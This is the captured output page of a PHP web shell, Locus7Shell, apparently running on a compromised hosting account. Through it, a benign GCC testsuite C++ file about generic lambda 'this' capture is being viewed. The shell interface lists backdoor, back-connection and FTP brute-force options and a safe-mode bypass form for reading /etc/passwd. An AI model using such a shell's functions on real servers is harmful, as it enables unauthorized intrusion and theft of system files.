Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/cpp1y/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr61636-2.C (1.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR c++/61636
// { dg-do run { target c++14 } }

// Check we don't capture this (too) unnecessarily

struct A {
  int b ();
  void f (int) {}
  static void f (double) {}

  static void g (int) {}
  static void g (double) {}
};

struct O {
  void x (int) {}
  static void x (double) {}
};

namespace N {
  void y (double) {}
}

int Check (bool expect, unsigned size)
{
  return (expect ? sizeof (void *) : 1) != size;
}

int A::b() {
  int r = 0;

  // one of the functions is non-static
  auto l0 = [&](auto z) { f (z); };
  r += Check (true, sizeof l0);
  l0(0.0); // doesn't need this capture for A::f(double), but too late
  l0 (0); // Needs this capture for A::f(int)

  // no fn is non-static.
  auto l00 = [&](auto z) { g (z); };
  r += Check (false, sizeof l00);
  l00(0.0); 
  l00 (0);

  // sizeof isn't an evaluation context, so no this capture
  auto l1 = [&](auto z) { sizeof (f (z), 1); };
  r += Check (false, sizeof l1);
  l1(0.0); l1 (0); 

  auto l2 = [&](auto) { f (2.4); };
  auto l3 = [&](auto) { f (0); };
  l2(0); l3(0); l2(0.0); l3 (0.0);
  r += Check (false, sizeof l2);
  r += Check (true, sizeof l3);

  auto l4 = [&](auto) { O::x (2.4); };
  auto l5 = [&](auto) { N::y (2.4); };
  auto l6 = [&](auto) { };
  l4(0); l5(0); l6(0);
  l4(0.0); l5(0.0); l6(0.0);
  r += Check (false, sizeof l4);
  r += Check (false, sizeof l5);
  r += Check (false, sizeof l6);

  return r;
}

int main ()
{
  A a;

  return a.b () ? 1 : 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0054 ]--